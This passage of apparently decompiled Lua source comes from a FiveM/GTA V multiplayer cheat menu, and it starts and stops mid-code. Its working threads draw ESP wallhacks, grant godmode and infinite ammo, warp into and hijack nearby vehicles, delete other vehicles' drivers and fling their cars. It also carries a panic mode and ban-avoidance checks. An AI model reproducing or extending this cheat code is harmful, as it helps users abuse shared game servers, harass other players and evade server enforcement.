menu.vars.bools.espEnable or (not menu.vars.bools.espSkeleton and not menu.vars.bools.espSkeletonFeet)) and punchTarget ~= 0 and DoesEntityExist(punchTarget) and not IsEntityDead(punchTarget) then drawEspSkeleton(punchTarget, false, { 255, 80, 80, 255 }) frameDelay = 0 end local onlineOptionsOpen = false if menu.vars.navigationStack then for _, navigationEntry in ipairs(menu.vars.navigationStack) do if navigationEntry and navigationEntry.title == "Online Options" then onlineOptionsOpen = true break end end end local vehicleEspEnabled = menu.vars.bools.vehicleEspShowName == true or menu.vars.bools.vehicleEspShowDistance == true or menu.vars.bools.vehicleEspShowHealth == true or menu.vars.bools.vehicleEspShowTank == true or menu.vars.bools.vehicleEspShowSpeed == true or menu.vars.bools.vehicleEspLockState == true if not menu.vars.panicMode and vehicleEspEnabled and not onlineOptionsOpen then local vehicles = GetGamePool("CVehicle") or {} local maximumDistance = menu.vars.sliders.espMaxDistance or 400.0 for index = 1, #vehicles do local vehicle = vehicles[index] if vehicle ~= 0 and DoesEntityExist(vehicle) and not (menu.vars.bools.excludeDead and IsEntityDead(vehicle)) then local distance = #(viewerPosition - GetEntityCoords(vehicle)) if maximumDistance >= distance and drawEspVehicleInformation(vehicle, viewerPosition) then frameDelay = 0 end end end end Wait(frameDelay) end end pendingMenuEntry25 = runEspBoxShowThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "CreateThread" pendingMenuEntry24 = _ENV[pendingMenuEntry24] do local function runFreecamThread() while _G.runmenu == true do if not menu.vars.panicMode then local freecamActive = menu.vars.freecamMenuActive or menu.vars.bools.freecam == true local crosshairEnabled = menu.vars.bools.crosshair == true local massKillSelected = menu.utils.isFreecamMassKillOptionSelected if massKillSelected then massKillSelected = menu.utils.isFreecamMassKillOptionSelected() end local fightPartySelected = menu.utils.isFreecamFightPartyOptionSelected if fightPartySelected then fightPartySelected = menu.utils.isFreecamFightPartyOptionSelected() end local simpleCrosshair = freecamActive and not crosshairEnabled and not massKillSelected and not fightPartySelected if crosshairEnabled or simpleCrosshair then local screenWidth, screenHeight = Ham.getResolution() local centerX, centerY = screenWidth * 0.5, screenHeight * 0.5 if simpleCrosshair then Ham.drawCircle({ centerX, centerY, 2.5 }, { 0, 0, 0, 255 }, 32, 2.5, true) Ham.drawCircle({ centerX, centerY, 1.5 }, { 255, 255, 255, 255 }, 32, 1.5, true) else local crosshairMode = menu.vars.selectors.crosshairMode or 1 local modeEnabled = crosshairMode == 1 or (crosshairMode == 2 and freecamActive) if modeEnabled then local pickerColor = menu.vars.colorPickers.crosshairColor or { 255, 255, 255 } local red, green, blue = pickerColor[1], pickerColor[2], pickerColor[3] local size = menu.vars.sliders.crosshairSize or 2.5 local thickness = menu.vars.sliders.crosshairThickness or 2.5 local crosshairType = menu.vars.selectors.crosshairType or 1 if crosshairType == 2 then local armLength = math.max(6, math.floor(size * 4)) local lineThickness = math.max(1, math.floor(thickness)) Ham.drawLine( { centerX - armLength, centerY }, { centerX + armLength, centerY }, { 0, 0, 0, 255 }, lineThickness + 2 ) Ham.drawLine( { centerX, centerY - armLength }, { centerX, centerY + armLength }, { 0, 0, 0, 255 }, lineThickness + 2 ) Ham.drawLine( { centerX - armLength, centerY }, { centerX + armLength, centerY }, { red, green, blue, 255 }, lineThickness ) Ham.drawLine( { centerX, centerY - armLength }, { centerX, centerY + armLength }, { red, green, blue, 255 }, lineThickness ) elseif crosshairType == 3 then local radius = math.max(4.0, size * 2.0) local ringThickness = math.max(1.0, thickness) Ham.drawCircle( { centerX, centerY, radius }, { 0, 0, 0, 255 }, 48, ringThickness + 2.0, false ) Ham.drawCircle( { centerX, centerY, radius }, { red, green, blue, 255 }, 48, ringThickness, false ) elseif crosshairType == 4 then local armLength = math.max(5, math.floor(size * 2.5)) local lineThickness = math.max(1, math.floor(thickness)) local baseY = centerY - math.max(6, math.floor(size * 3.0)) Ham.drawLine( { centerX, baseY }, { centerX - armLength, baseY + armLength }, { 0, 0, 0, 255 }, lineThickness + 2 ) Ham.drawLine( { centerX, baseY }, { centerX + armLength, baseY + armLength }, { 0, 0, 0, 255 }, lineThickness + 2 ) Ham.drawLine( { centerX, baseY }, { centerX - armLength, baseY + armLength }, { red, green, blue, 255 }, lineThickness ) Ham.drawLine( { centerX, baseY }, { centerX + armLength, baseY + armLength }, { red, green, blue, 255 }, lineThickness ) elseif crosshairType == 5 then local outerRadius = math.max(6.0, size * 2.6) local innerRadius = math.max(2.0, size * 0.7) local ringThickness = math.max(1.0, thickness) local armLength = outerRadius - math.max(2.0, ringThickness) local lineThickness = math.max(1, math.floor(thickness)) Ham.drawCircle( { centerX, centerY, outerRadius }, { 0, 0, 0, 255 }, 48, ringThickness + 2.0, false ) Ham.drawCircle( { centerX, centerY, outerRadius }, { red, green, blue, 255 }, 48, ringThickness, false ) Ham.drawLine( { centerX - armLength, centerY }, { centerX + armLength, centerY }, { 0, 0, 0, 255 }, lineThickness + 2 ) Ham.drawLine( { centerX, centerY - armLength }, { centerX, centerY + armLength }, { 0, 0, 0, 255 }, lineThickness + 2 ) Ham.drawLine( { centerX - armLength, centerY }, { centerX + armLength, centerY }, { red, green, blue, 255 }, lineThickness ) Ham.drawLine( { centerX, centerY - armLength }, { centerX, centerY + armLength }, { red, green, blue, 255 }, lineThickness ) Ham.drawCircle( { centerX, centerY, innerRadius }, { 0, 0, 0, 255 }, 32, ringThickness + 1.0, false ) Ham.drawCircle( { centerX, centerY, innerRadius }, { red, green, blue, 255 }, 32, ringThickness, false ) else Ham.drawCircle({ centerX, centerY, size + 1.0 }, { 0, 0, 0, 255 }, 32, size + 1.0, true) Ham.drawCircle({ centerX, centerY, size }, { red, green, blue, 255 }, 32, size, true) end end end end end Wait(0) end end pendingMenuEntry25 = runFreecamThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runFastPunchThread() local punchDeadline = 0 local jumpProtectionUntil = 0 local ragdollModified = false while _G.runmenu == true do local waitTime = 2500 local active = menu.vars.bools.fastPunch or menu.vars.bools.superJump if not active then active = jumpProtectionUntil > GetGameTimer() end if active then waitTime = 1 local playerPed = PlayerPedId() if menu.vars.bools.superJump and IsPedOnFoot(playerPed) and IsControlJustPressed(0, 22) then ApplyForceToEntity(playerPed, 1, 0.0, 0.0, 32.5, 0.0, 0.0, 0.0, 0, false, true, true, false, true) jumpProtectionUntil = GetGameTimer() + 2500 end if jumpProtectionUntil > GetGameTimer() then ragdollModified = true SetPedCanRagdoll(playerPed, false) SetPedRagdollOnCollision(playerPed, false) SetPedConfigFlag(playerPed, 32, false) SetPedConfigFlag(playerPed, 33, false) if IsPedRagdoll(playerPed) then ClearPedTasksImmediately(playerPed) end elseif ragdollModified then if not menu.vars.bools.noRagdoll then SetPedCanRagdoll(playerPed, true) SetPedRagdollOnCollision(playerPed, false) SetPedConfigFlag(playerPed, 32, true) SetPedConfigFlag(playerPed, 33, false) end ragdollModified = false end if IsPedInMeleeCombat(playerPed) and punchDeadline == 0 then punchDeadline = GetGameTimer() + 250 end if punchDeadline ~= 0 then if punchDeadline < GetGameTimer() then ClearPedTasksImmediately(playerPed) punchDeadline = 0 end if not IsPedInMeleeCombat(playerPed) then punchDeadline = 0 end end else if punchDeadline ~= 0 then punchDeadline = 0 end if ragdollModified then local playerPed = PlayerPedId() if not menu.vars.bools.noRagdoll then SetPedCanRagdoll(playerPed, true) SetPedRagdollOnCollision(playerPed, false) SetPedConfigFlag(playerPed, 32, true) SetPedConfigFlag(playerPed, 33, false) end ragdollModified = false end end if menu.vars.bools.infiniteStamina then RestorePlayerStamina(PlayerId(), 1.0) end Wait(waitTime) end end pendingMenuEntry25 = runFastPunchThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runTowTruckThread() local wasActive = false local processedVehicles = {} while _G.runmenu == true do local waitTime = 2500 if menu.vars.bools.towTruck then waitTime = 1 local playerPed = PlayerPedId() local originalVehicle = GetVehiclePedIsIn(playerPed, false) if not menu.vars.bools.towTruck and wasActive then if originalVehicle ~= 0 then TaskWarpPedIntoVehicle(playerPed, originalVehicle, -1) end wasActive = false elseif originalVehicle == 0 then wasActive = false else if not wasActive then wasActive = true end local playerPosition = GetEntityCoords(playerPed) local vehicles = GetGamePool("CVehicle") local attachedCount = 0 for _, vehicle in ipairs(vehicles) do local aborted = false if not menu.vars.bools.towTruck then break end if vehicle ~= originalVehicle and IsVehicleSeatFree(vehicle, -1) and not processedVehicles[vehicle] then local distance = #(GetEntityCoords(vehicle) - playerPosition) if distance <= 200 then processedVehicles[vehicle] = true TaskWarpPedIntoVehicle(playerPed, vehicle, -1) local firstStart = GetGameTimer() local secondStart while true do if GetGameTimer() - firstStart < 250 then Wait(50) if not menu.vars.bools.towTruck then if originalVehicle ~= 0 then TaskWarpPedIntoVehicle(playerPed, originalVehicle, -1) end aborted = true break end else TaskWarpPedIntoVehicle(playerPed, originalVehicle, -1) secondStart = GetGameTimer() break end end if aborted then break end while true do if GetGameTimer() - secondStart < 250 then Wait(50) if not menu.vars.bools.towTruck then if originalVehicle ~= 0 then TaskWarpPedIntoVehicle(playerPed, originalVehicle, -1) end aborted = true break end else local offset = -5.0 - attachedCount * 6.0 AttachEntityToEntity( vehicle, originalVehicle, 0, 0.0, offset, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) attachedCount = attachedCount + 1 break end end if aborted then break end end end end end else if wasActive then wasActive = false end if GetGameTimer() % 10000 < 500 then processedVehicles = {} end end Wait(waitTime) end end pendingMenuEntry25 = runTowTruckThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runVehicleVdmModeThread() while _G.runmenu == true do local waitTime = 250 if menu.vars.bools.vehicleVdmMode then waitTime = 0 if menu.functions.handleVehicleVdmModeInput then menu.functions.handleVehicleVdmModeInput() end if menu.functions.drawVehicleVdmModeHud then menu.functions.drawVehicleVdmModeHud() end end Wait(waitTime) end end pendingMenuEntry25 = runVehicleVdmModeThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runPitModeThread() while _G.runmenu == true do local waitTime = 2500 if menu.vars.bools.pitMode then waitTime = 0 local playerPed = PlayerPedId() if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) menu.vars.pitlastVeh = vehicle for _, otherVehicle in ipairs(GetGamePool("CVehicle")) do if otherVehicle ~= vehicle then SetEntityNoCollisionEntity(vehicle, otherVehicle, true) SetEntityNoCollisionEntity(otherVehicle, vehicle, true) end end for _, object in ipairs(GetGamePool("CObject")) do if DoesEntityExist(object) then SetEntityNoCollisionEntity(vehicle, object, true) SetEntityNoCollisionEntity(object, vehicle, true) end end end end Wait(waitTime) end end pendingMenuEntry25 = runPitModeThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runKickVehicleModeThread() while _G.runmenu == true do local waitTime = 2500 if menu.vars.bools.kickVehicleMode then if menu.utils.isServer151VehicleBlocked() then menu.vars.bools.kickVehicleMode = false menu.utils.notifyBanBlocked() else waitTime = 1 local playerPed = PlayerPedId() local playerPosition = GetEntityCoords(playerPed) local forward = GetEntityForwardVector(playerPed) local closestVehicle local closestDistance = 9999.0 for _, vehicle in ipairs(GetGamePool("CVehicle")) do if DoesEntityExist(vehicle) then local distance = #(playerPosition - GetEntityCoords(vehicle)) if closestDistance > distance then closestDistance = distance closestVehicle = vehicle end end end if closestVehicle ~= nil and DoesEntityExist(closestVehicle) and closestDistance < 4.0 then if currentVehicle ~= closestVehicle then currentVehicle = closestVehicle executed = false end if not executed then executed = true local driver = GetPedInVehicleSeat(closestVehicle, -1) if driver == 0 then TaskWarpPedIntoVehicle(playerPed, closestVehicle, -1) Citizen.SetTimeout(200, function() ClearPedTasks(playerPed) local position = GetEntityCoords(closestVehicle) + vector3(1.5, 0.0, 0.0) SetEntityCoords(playerPed, position) SetEntityVelocity(playerPed, 0.0, 0.0, 0.0) SetEntityCollision(playerPed, false, true) SetEntityNoCollisionEntity(playerPed, closestVehicle, true) Citizen.SetTimeout(500, function() SetEntityCollision(playerPed, true, true) SetEntityNoCollisionEntity(playerPed, closestVehicle, false) end) end) else TaskWarpPedIntoVehicle(playerPed, closestVehicle, 0) Citizen.SetTimeout(50, function() if driver ~= 0 then DeleteEntity(driver) end end) Citizen.SetTimeout(70, function() TaskWarpPedIntoVehicle(playerPed, closestVehicle, -1) end) Citizen.SetTimeout(200, function() ClearPedTasks(playerPed) local position = GetEntityCoords(closestVehicle) + vector3(1.5, 0.0, 0.0) SetEntityCoords(playerPed, position) SetEntityVelocity(playerPed, 0.0, 0.0, 0.0) SetEntityCollision(playerPed, false, true) SetEntityNoCollisionEntity(playerPed, closestVehicle, true) Citizen.SetTimeout(500, function() SetEntityCollision(playerPed, true, true) SetEntityNoCollisionEntity(playerPed, closestVehicle, false) end) end) end Citizen.SetTimeout(1000, function() if DoesEntityExist(closestVehicle) then ApplyForceToEntity( closestVehicle, 1, forward.x * 40.0, forward.y * 40.0, 80.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true ) end end) end else currentVehicle = nil executed = false end end end Wait(waitTime) end end pendingMenuEntry25 = runKickVehicleModeThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runNoReloadThread() local fakeDeadActive = false local fakeDeadInvincibility = false local noRagdollActive = false local seatbeltActive = false local noFallDamageActive = false local vehicleGodmodeActive = false local previousGodmodeVehicle = nil while _G.runmenu == true do local waitTime = 2500 local playerPed = PlayerPedId() if menu.vars.bools.noReload then waitTime = 10 local weapon = GetSelectedPedWeapon(playerPed) if weapon ~= 0 then local maximumAmmo = GetMaxAmmoInClip(playerPed, weapon, true) SetAmmoInClip(playerPed, weapon, maximumAmmo) end end if menu.vars.bools.noRagdoll then waitTime = 10 noRagdollActive = true SetPedCanRagdoll(playerPed, false) SetPedRagdollOnCollision(playerPed, false) SetPedConfigFlag(playerPed, 32, false) SetPedConfigFlag(playerPed, 33, false) local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 then local driver = GetPedInVehicleSeat(vehicle, -1) if driver == playerPed then local vehicleClass = GetVehicleClass(vehicle) if vehicleClass == 8 or vehicleClass == 13 then SetPedCanBeKnockedOffVehicle(playerPed, 1) if IsPedRagdoll(playerPed) then ClearPedTasksImmediately(playerPed) SetPedIntoVehicle(playerPed, vehicle, -1) end end end end elseif noRagdollActive then noRagdollActive = false SetPedCanRagdoll(playerPed, true) SetPedRagdollOnCollision(playerPed, false) SetPedConfigFlag(playerPed, 32, true) SetPedConfigFlag(playerPed, 33, false) end if menu.vars.bools.seatbelt then waitTime = 0 seatbeltActive = true local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 then local driver = GetPedInVehicleSeat(vehicle, -1) if driver == playerPed then SetPedCanBeKnockedOffVehicle(playerPed, 1) SetPedCanBeDraggedOut(playerPed, false) SetPedCanBeShotInVehicle(playerPed, false) SetPedConfigFlag(playerPed, 32, false) SetPedConfigFlag(playerPed, 33, false) SetPedCanRagdoll(playerPed, false) SetPedRagdollOnCollision(playerPed, false) SetPedCanRagdollFromPlayerImpact(playerPed, false) if IsPedRagdoll(playerPed) then ClearPedTasksImmediately(playerPed) SetPedIntoVehicle(playerPed, vehicle, -1) end end end elseif seatbeltActive then seatbeltActive = false SetPedCanBeKnockedOffVehicle(playerPed, 0) SetPedCanBeDraggedOut(playerPed, true) SetPedCanBeShotInVehicle(playerPed, true) if not menu.vars.bools.noRagdoll then SetPedCanRagdoll(playerPed, true) SetPedRagdollOnCollision(playerPed, false) SetPedConfigFlag(playerPed, 32, true) SetPedConfigFlag(playerPed, 33, false) end end if menu.vars.bools.noFallDamage then waitTime = math.min(waitTime, 10) noFallDamageActive = true SetPlayerFallDistance(PlayerId(), 9999.0) elseif noFallDamageActive then noFallDamageActive = false SetPlayerFallDistance(PlayerId(), -1.0) end if menu.vars.bools.autoRevive then waitTime = 10 local health = GetEntityHealth(playerPed) if health <= 10 or IsEntityDead(playerPed) then waitTime = 2500 menu.functions.reviveSelf() end end local proofs = menu.vars.bools if proofs then if proofs.proofBullet or proofs.proofFire or proofs.proofExplosion or proofs.proofCollision or proofs.proofMelee or proofs.proofSteam or proofs.proofDrown then waitTime = math.min(waitTime, 10) if menu.functions.applyPlayerProofs then menu.functions.applyPlayerProofs() end end end if menu.vars.bools.vehicleGodmode then waitTime = math.min(waitTime, 250) vehicleGodmodeActive = true if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if previousGodmodeVehicle ~= vehicle then if previousGodmodeVehicle and DoesEntityExist(previousGodmodeVehicle) and menu.utils.restoreVehicleGodmode then menu.utils.restoreVehicleGodmode(previousGodmodeVehicle) end previousGodmodeVehicle = vehicle end if menu.utils.applyVehicleGodmode then menu.utils.applyVehicleGodmode(vehicle) end elseif previousGodmodeVehicle then if DoesEntityExist(previousGodmodeVehicle) and menu.utils.restoreVehicleGodmode then menu.utils.restoreVehicleGodmode(previousGodmodeVehicle) end previousGodmodeVehicle = nil end elseif vehicleGodmodeActive then vehicleGodmodeActive = false if previousGodmodeVehicle and DoesEntityExist(previousGodmodeVehicle) and menu.utils.restoreVehicleGodmode then menu.utils.restoreVehicleGodmode(previousGodmodeVehicle) end previousGodmodeVehicle = nil end if menu.vars.bools.fakeDead then waitTime = 0 playerPed = PlayerPedId() if not fakeDeadInvincibility then fakeDeadInvincibility = true if not menu.vars.bools.godmode then SetEntityInvincible(playerPed, true) SetPlayerInvincible(PlayerId(), true) end end SetPedCanRagdoll(playerPed, true) if IsEntityDead(playerPed) or IsPedDeadOrDying(playerPed, true) then local position = GetEntityCoords(playerPed) local heading = GetEntityHeading(playerPed) NetworkResurrectLocalPlayer(position.x, position.y, position.z, heading, true, false) playerPed = PlayerPedId() ClearPedBloodDamage(playerPed) SetEntityHealth(playerPed, GetEntityMaxHealth(playerPed)) elseif GetEntityHealth(playerPed) < 102 then SetEntityHealth(playerPed, GetEntityMaxHealth(playerPed)) end if not IsPedRagdoll(playerPed) then SetPedToRagdoll(playerPed, 10000, 10000, 0, false, false, false) end fakeDeadActive = true elseif fakeDeadActive or fakeDeadInvincibility then playerPed = PlayerPedId() if fakeDeadInvincibility and not menu.vars.bools.godmode then SetEntityInvincible(playerPed, false) SetPlayerInvincible(PlayerId(), false) fakeDeadInvincibility = false end if fakeDeadActive then ResetPedRagdollTimer(playerPed) ClearPedTasks(playerPed) ClearPedSecondaryTask(playerPed) ClearPedTasksImmediately(playerPed) fakeDeadActive = false end end Wait(waitTime) end end pendingMenuEntry25 = runNoReloadThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runForceQCrouchThread() local forceCrouchWasEnabled = false local crouchIsActive = false local previousMovementClipSet = nil local crouchKeyWasHeld = false local lastCrouchToggleAt = 0 local crouchGraceUntil = 0 local crouchToggleCooldown = 140 local crouchGraceDuration = 520 local crouchControl, coverControl = 36, 44 local sprintControl, jumpControl = 21, 22 local forwardControl, backwardControl, leftControl, rightControl = 32, 33, 34, 35 local crouchBlendIn = 0.18 local movementRestoreBlend = 0.2 local slowMoveBlend, slowSprintBlend = 1.24, 1.52 local restrictedMoveBlend = 0.15 local crouchSprintMultiplier = 1.18 local crouchMoveRate, crouchSprintMoveRate = 1.12, 1.32 local normalMoveBlend, normalSprintBlend = 1.55, 2.75 local function isCrouchControlPressed(control) local success, pressed = pcall(function() local pressed = IsControlPressed(0, control) if not pressed then if type(IsDisabledControlPressed) == "function" then pressed = IsDisabledControlPressed(0, control) else pressed = false end end return pressed end) if not success then return success end return pressed end local function isCrouchSprintPressed() return isCrouchControlPressed(sprintControl) end local function isCrouchMovementPressed() return isCrouchControlPressed(forwardControl) or isCrouchControlPressed(backwardControl) or isCrouchControlPressed(leftControl) or isCrouchControlPressed(rightControl) end local function isCrouchEntityMoving(entity) if not entity or entity == 0 then return false end local success, x, y, z = pcall(GetEntityVelocity, entity) if not success or type(x) ~= "number" or type(y) ~= "number" or type(z) ~= "number" then return false end return (x * x + y * y + z * z) ^ 0.5 > 0.12 end local function updateCrouchMoveBlend(entity, slowMode) if not entity or entity == 0 then return end if GetPedConfigFlag(entity, 78, true) then SetPedMaxMoveBlendRatio(entity, restrictedMoveBlend) return end local sprinting = isCrouchSprintPressed() local moving = isCrouchMovementPressed() if not moving then moving = isCrouchEntityMoving(entity) end local moveBlend = slowMode and slowMoveBlend or normalMoveBlend local sprintBlend = slowMode and slowSprintBlend or normalSprintBlend if sprinting and moving then SetPedMaxMoveBlendRatio(entity, sprintBlend) elseif moving then SetPedMaxMoveBlendRatio(entity, moveBlend) else SetPedMaxMoveBlendRatio(entity, 1.0) end end local function resetCrouchSprintMultiplier() pcall(function() if type(SetRunSprintMultiplierForPlayer) == "function" then SetRunSprintMultiplierForPlayer(PlayerId(), 1.0) end end) end local function extendCrouchGracePeriod() local deadline = GetGameTimer() + crouchGraceDuration if deadline > crouchGraceUntil then crouchGraceUntil = deadline end end local function canCrouchOnFoot(entity) return IsPedOnFoot(entity) and not IsPedJumping(entity) and not IsPedFalling(entity) and not IsPedRagdoll(entity) end local function loadCrouchClipSet(clipSet) RequestClipSet(clipSet) while not HasClipSetLoaded(clipSet) do Wait(0) end end local function restoreCrouchMovement(entity) ResetPedStrafeClipset(entity) ResetPedWeaponMovementClipset(entity) SetPedCanPlayAmbientAnims(entity, true) if previousMovementClipSet ~= nil and previousMovementClipSet ~= "" then loadCrouchClipSet(previousMovementClipSet) SetPedMovementClipset(entity, previousMovementClipSet, movementRestoreBlend) RemoveClipSet(previousMovementClipSet) else ResetPedMovementClipset(entity, movementRestoreBlend) end previousMovementClipSet = nil RemoveClipSet("move_ped_crouched") TriggerEvent("crouch_crawl:onCrouch", false) pcall(function() if LocalPlayer and LocalPlayer.state and LocalPlayer.state.set then local state = LocalPlayer.state state.set(state, "isCrouched", false, false) end end) updateCrouchMoveBlend(entity, false) extendCrouchGracePeriod() resetCrouchSprintMultiplier() pcall(function() if type(SetPedMoveRateOverride) == "function" then SetPedMoveRateOverride(entity, 1.0) end end) end local function applyCrouchMovement(entity) loadCrouchClipSet("move_ped_crouched") pcall(function() if type(IsPedUsingStealthMovement) ~= "function" or type(SetPedStealthMovement) ~= "function" then return end local success, stealth = pcall(IsPedUsingStealthMovement, entity) if success and (stealth == true or stealth == 1) then SetPedStealthMovement(entity, false, "DEFAULT_ACTION") end end) if GetFollowPedCamViewMode() == 4 then SetFollowPedCamViewMode(0) end previousMovementClipSet = nil pcall(function() if type(GetPedMovementClipset) == "function" then local clipSet = GetPedMovementClipset(entity) if type(clipSet) == "string" and clipSet ~= "" and clipSet ~= "move_ped_crouched" then previousMovementClipSet = clipSet end end end) SetPedMovementClipset(entity, "move_ped_crouched", crouchBlendIn) SetPedStrafeClipset(entity, "move_ped_crouched_strafing") updateCrouchMoveBlend(entity, true) extendCrouchGracePeriod() TriggerEvent("crouch_crawl:onCrouch", true) pcall(function() if LocalPlayer and LocalPlayer.state and LocalPlayer.state.set then local state = LocalPlayer.state state.set(state, "isCrouched", true, false) end end) end while _G.runmenu == true do if menu.vars.bools.forceQCrouch then forceCrouchWasEnabled = true local crouchPlayerPed = PlayerPedId() if IsPedInAnyVehicle(crouchPlayerPed, false) then if crouchIsActive then crouchIsActive = false restoreCrouchMovement(crouchPlayerPed) end local keyDown = ImGuiKey and ImGuiKey.Q and Ham and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.Q) crouchKeyWasHeld = keyDown or false else local blocked = IsPauseMenuActive() if not blocked then blocked = menu.vars.visible == true end local key = ImGuiKey and ImGuiKey.Q local keyDown = false if Ham and key and Ham.isKeyDown then keyDown = Ham.isKeyDown(key) or false end local justPressed if not keyDown then justPressed = keyDown else justPressed = not crouchKeyWasHeld end crouchKeyWasHeld = keyDown local controlPressed = IsControlJustPressed(0, coverControl) if not controlPressed then controlPressed = IsDisabledControlJustPressed(0, coverControl) if not controlPressed then controlPressed = IsControlJustPressed(0, crouchControl) if not controlPressed then controlPressed = IsDisabledControlJustPressed(0, crouchControl) end end end if not blocked and (justPressed or controlPressed) then local currentTime = GetGameTimer() if currentTime - lastCrouchToggleAt >= crouchToggleCooldown then lastCrouchToggleAt = currentTime local isCrouchPedHuman = true pcall(function() isCrouchPedHuman = IsPedHuman(crouchPlayerPed) end) if not crouchIsActive then if canCrouchOnFoot(crouchPlayerPed) and isCrouchPedHuman then crouchIsActive = true applyCrouchMovement(crouchPlayerPed) end else crouchIsActive = false restoreCrouchMovement(crouchPlayerPed) end end end if crouchGraceUntil > GetGameTimer() and not IsPedInAnyVehicle(crouchPlayerPed, false) then updateCrouchMoveBlend(crouchPlayerPed, crouchIsActive == true) end if crouchIsActive then if not canCrouchOnFoot(crouchPlayerPed) then crouchIsActive = false restoreCrouchMovement(crouchPlayerPed) else updateCrouchMoveBlend(crouchPlayerPed, true) pcall(function() if type(SetRunSprintMultiplierForPlayer) == "function" then SetRunSprintMultiplierForPlayer(PlayerId(), crouchSprintMultiplier) end end) pcall(function() if type(SetPedMoveRateOverride) == "function" then local moving = isCrouchMovementPressed() if not moving then moving = isCrouchEntityMoving(crouchPlayerPed) end local sprinting = isCrouchSprintPressed() if sprinting and moving then SetPedMoveRateOverride(crouchPlayerPed, crouchSprintMoveRate) elseif moving then SetPedMoveRateOverride(crouchPlayerPed, crouchMoveRate) else SetPedMoveRateOverride(crouchPlayerPed, 1.0) end end end) EnableControlAction(0, sprintControl, true) EnableControlAction(0, forwardControl, true) EnableControlAction(0, backwardControl, true) EnableControlAction(0, leftControl, true) EnableControlAction(0, rightControl, true) EnableControlAction(0, jumpControl, true) SetPedCanPlayAmbientAnims(crouchPlayerPed, false) DisableControlAction(0, crouchControl, true) DisableControlAction(0, coverControl, true) if IsPedUsingActionMode(crouchPlayerPed) then SetPedUsingActionMode(crouchPlayerPed, false, -1, "DEFAULT_ACTION") end DisableFirstPersonCamThisFrame() end end end Wait(0) elseif forceCrouchWasEnabled then forceCrouchWasEnabled = false crouchKeyWasHeld = false crouchGraceUntil = 0 lastCrouchToggleAt = 0 local playerPed = PlayerPedId() if crouchIsActive then crouchIsActive = false restoreCrouchMovement(playerPed) else resetCrouchSprintMultiplier() end Wait(100) else crouchKeyWasHeld = false crouchGraceUntil = 0 resetCrouchSprintMultiplier() Wait(500) end end end pendingMenuEntry25 = runForceQCrouchThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runForceRadioAnimThread() local radioAnimations = { { dict = "random@arrests", anim = "generic_radio_chatter" }, { dict = "cellphone@", anim = "cellphone_call_listen_base" }, { dict = "random@arrests", anim = "generic_radio_enter" }, { dict = "mp_facial", anim = "mic_chatter" }, { dict = "amb@code_human_police_investigate@idle_a", anim = "idle_b" }, { dict = "cellphone@", anim = "cellphone_call_in" } } local radioAnimationFlags = 49 local slowReleaseBlend = 3.35 local quickReleaseBlend = 0.52 local quickRepeatWindow = 520 local forcedStopBlend = 0.07 local radioPhase = "idle" local releaseUntil = 0 local lastReleaseAt = 0 local radioStartedAt = 0 local activeRadioDict = nil local activeRadioAnim = nil local function getSelectedRadioAnimation() local selection = menu.vars.selectors and menu.vars.selectors.forceRadioAnimType or 1 return radioAnimations[math.max(1, math.min(#radioAnimations, selection))] end local function getRadioAnimationKey() local keyName = menu.vars.hotkeyBinds and menu.vars.hotkeyBinds.FORCE_RADIO_ANIM_KEY if not keyName or keyName == "" or keyName == "None" or keyName == "NONE" then return nil end local key = ImGuiKey[keyName] if not key and keyName == "LeftAlt" then key = ImGuiKey.ModAlt or ImGuiKey.RightAlt end return key end local function releaseRadioAnimation(entity, animationDict, animationName) if not entity or entity == 0 then return end animationDict = animationDict or activeRadioDict animationName = animationName or activeRadioAnim if not animationDict or not animationName then return end local currentTime = GetGameTimer() local elapsed = currentTime - radioStartedAt local shortPress = elapsed >= 0 and elapsed < 420 local recentRelease = lastReleaseAt > 0 and currentTime - lastReleaseAt < quickRepeatWindow local quick = shortPress or recentRelease lastReleaseAt = currentTime local blend = quick and quickReleaseBlend or slowReleaseBlend pcall(StopAnimTask, entity, animationDict, animationName, blend) radioPhase = "releasing" local extraDelay = quick and 200 or 450 releaseUntil = currentTime + math.floor(blend * 1000) + extraDelay end local function resetRadioAnimation(entity) if entity and entity ~= 0 then for _, animation in 